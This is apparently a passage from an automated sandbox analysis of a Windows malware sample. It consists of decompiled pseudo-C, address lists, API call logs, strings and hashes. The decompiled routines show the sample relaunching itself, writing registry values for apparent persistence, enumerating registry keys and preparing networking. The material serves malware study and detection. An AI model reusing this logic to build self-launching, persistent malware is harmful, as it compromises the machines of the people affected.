										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32 ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32 ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32 ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

%X%08X, xrefs: 0040A0B0
\, xrefs: 00409D0C
", xrefs: 0040A189
D, xrefs: 00409F8E
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
", xrefs: 00409EDB
", xrefs: 0040A078
P, xrefs: 00409DAA

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$D$P$PromptOnSecureDesktop$\
API String ID: 2089075347-2824936573
Opcode ID: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0DA, Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 521
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vswprintf.LIBCMTD ref: 0041A0F9

Part of subcall function 0041B6F0: __vsprintf_l.LIBCMTD ref: 0041B703

_putc.LIBCMTD ref: 0041A100

Part of subcall function 0041B320: __invalid_parameter.LIBCMTD ref: 0041B3AD

__wrename.LIBCMTD ref: 0041A107

Part of subcall function 0041B2D0: __dosmaperr.LIBCMTD ref: 0041B304

_atexit.LIBCMTD ref: 0041A10D

Part of subcall function 0041B060: __atof_l.LIBCMTD ref: 0041B06B

_malloc.LIBCMTD ref: 0041A11F
_realloc.LIBCMTD ref: 0041A126

Part of subcall function 0041ADB0: __realloc_dbg.LIBCMTD ref: 0041ADC4

_ferror.LIBCMTD ref: 0041A12C

Part of subcall function 0041AD30: __invalid_parameter.LIBCMTD ref: 0041AD8A

Part of subcall function 0041AD10: __wcstoi64.LIBCMTD ref: 0041AD1D

_memset.LIBCMT ref: 0041A559

Strings

cbH, xrefs: 0041A41A

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __invalid_parameter$__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_malloc_memset_putc_realloc
String ID: cbH
API String ID: 408336251-2585554156
Opcode ID: ae93b05e6e4085d06435178f59d5cc7860fd65314df430fc9a66f401b60e6249
Instruction ID: 797bf77367c6ed2ae5f853bc32b3455d23fed3980d5a5a2b192b5a1e74a78f3d
Opcode Fuzzy Hash: ae93b05e6e4085d06435178f59d5cc7860fd65314df430fc9a66f401b60e6249
Instruction Fuzzy Hash: 62F1EB76442565BBD315ABA1EE4CDDF3EACEF4A395B004429F249E1070CB384645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
